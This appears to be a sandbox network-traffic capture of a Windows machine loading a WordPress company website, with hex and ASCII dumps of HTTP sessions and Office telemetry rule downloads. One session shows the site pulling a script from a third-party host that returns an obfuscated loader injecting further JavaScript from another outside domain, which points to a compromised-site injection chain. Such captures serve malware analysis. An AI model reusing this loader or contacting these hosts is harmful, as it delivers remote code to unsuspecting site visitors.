2024-10-07 12:10:35 UTC	933	OUT	GET /services/logistics-and-service/ HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
2024-10-07 12:10:35 UTC	473	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:35 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/108>; rel="alternate"; type="application/json", <https://www.twbcompany.com/?p=108>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 12:10:35 UTC	7719	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 12:10:35 UTC	8671	IN	Data Raw: 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 Data Ascii: valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)
2024-10-07 12:10:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 12:10:35 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 Data Ascii: 4000id-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{ba
2024-10-07 12:10:35 UTC	8198	IN	Data Raw: 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 0d 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 27 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 20 2d 2d 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 62 6f 64 79 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 Data Ascii: cript><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config','UA-13844840-1');</script> --><style type="text/css">body #primary-nav-container #primary-nav
2024-10-07 12:10:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 12:10:35 UTC	2792	IN	Data Raw: 61 64 63 0d 0a 67 6f 73 2f 69 73 6f 2d 31 34 30 30 31 2e 70 6e 67 22 20 61 6c 74 3d 22 49 53 4f 20 31 34 30 30 31 20 43 65 72 74 69 66 69 65 64 22 20 77 69 64 74 68 3d 22 37 30 22 20 2f 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 09 09 09 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 34 2f 30 32 2f 49 41 54 46 2d 31 36 39 34 39 2d 43 4f 4d 42 49 4e 45 44 2d 32 2e 35 2e 32 34 2e 70 64 66 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 Data Ascii: adcgos/iso-14001.png" alt="ISO 14001 Certified" width="70" /></a></li><li><a href="https://www.twbcompany.com/2016/wp-content/uploads/2024/02/IATF-16949-COMBINED-2.5.24.pdf" target="_blank"><img src="https://www.twbcompany.com/2016/wp-content/theme

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49914	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121035Z-1657d5bbd48t66tjar5xuq22r800000003bg00000000ev11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49915	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 678513bd-b01e-0053-4460-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121035Z-1657d5bbd487nf59mzf5b3gk8n0000000360000000002ysb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49917	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 46a5aa72-701e-0032-6004-17a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121035Z-1657d5bbd48sdh4cyzadbb3748000000037g00000000f2fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49918	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121035Z-1657d5bbd48vlsxxpe15ac3q7n00000003g0000000004fcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49916	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121035Z-1657d5bbd48vlsxxpe15ac3q7n00000003gg00000000340w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49919	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	899	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/services/logistics-and-service/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
2024-10-07 12:10:36 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:35 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:36 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49921	77.232.36.155	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:35 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:36 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 12:10:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 12:10:35 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 12:10:36 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49928	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:36 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:36 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121036Z-1657d5bbd48xdq5dkwwugdpzr000000003ug000000006f2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49931	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
